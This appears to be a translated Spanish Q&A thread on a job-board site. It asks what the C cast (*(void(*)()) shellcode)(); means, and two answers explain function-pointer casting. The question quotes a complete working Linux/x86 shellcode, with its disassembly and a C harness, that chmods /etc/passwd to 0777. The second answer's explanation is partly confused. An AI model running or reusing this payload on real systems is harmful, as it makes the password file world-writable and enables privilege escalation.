Business
Jobs
  • About Us
  • Solutions
    • Job Postings
      Post your job and receive qualified candidates in 48h.
    • Candidate Assessments
      500+ technical and psychological tests, plus anti-fraud.
    • Headhunting
      Tailor-made executive search from start to finish.
    • Payroll + EOR
      Payroll dispersal and EOR across 15+ LATAM countries.
  • Pricing
  • Jobs

0

319
Views
qué (*(void(*)()) shellcode)(); ¿significa?

Lo siento si esto suena trivial, pero ¿alguien puede explicarme qué es esto?

 (*(void(*)()) shellcode)();

Creo que el segundo * está configurando void para ser un puntero, pero ¿y el primero * ? un casting? y el () es para llamar a alguna función?

El código fuente está aquí:

 /* # Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes # Platform: linux/x86_64 # Author: Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham Disassembly of section .text: 00000000 <.text>: 0: 6a 0f push $0xf 2: 58 pop %eax 3: 68 90 90 ff 01 push $0x1ff9090 8: 59 pop %ecx 9: c1 e9 10 shr $0x10,%ecx c: 68 90 73 77 64 push $0x64777390 11: 5b pop %ebx 12: c1 eb 08 shr $0x8,%ebx 15: 53 push %ebx 16: 68 2f 70 61 73 push $0x7361702f 1b: 68 2f 65 74 63 push $0x6374652f 20: 89 e3 mov %esp,%ebx 22: cd 80 int $0x80 24: b0 01 mov $0x1,%al 26: b3 01 mov $0x1,%bl 28: cd 80 int $0x80 */ #include <stdio.h> #include <string.h> int main(){ unsigned char shellcode[] = "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80"; fprintf(stdout, "Length: %d\n\n", strlen(shellcode)); (*(void(*)()) shellcode)(); }
over 4 years ago · Santiago Trujillo
2 answers
Answer question

0

Está enviando shellcode a un puntero de función que no devuelve nada y toma una cantidad no especificada de parámetros. Y luego llamarlo.

El void (*)() es el tipo de una función que no devuelve nada y toma un número no especificado de parámetros.

 /* | --------------------| Cast to a function pointer | | */ (* ((void(*)()) shellcode)) () /* ^ ^ call the function through the pointer |-- dereference the pointer */
over 4 years ago · Santiago Trujillo Report

0

shellcode es una firma para un puntero de función. Se usa para encontrar un puntero base y agregar algunas compensaciones para encontrar el puntero de función.

Considere el siguiente código, es el mismo:

 #include <iostream> void anotherFunction() { std::cout << "Im being called" << std::endl; } int main() { typedef void (*funcPtr)(void); funcPtr f=&anotherFunction; f(); std::cin.get(); return 0; }

Esto es lo mismo también

 (*(void(*)(void))&anotherFunction)();

a excepción de la firma ofc.

over 4 years ago · Santiago Trujillo Report
Answer question
Find remote jobs

Discover the new way to find a job!

Top jobs
Top job categories
Business
Post vacancy Pricing Sales
Legal
Terms and conditions Privacy policy
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Show me some job opportunities
There's an error!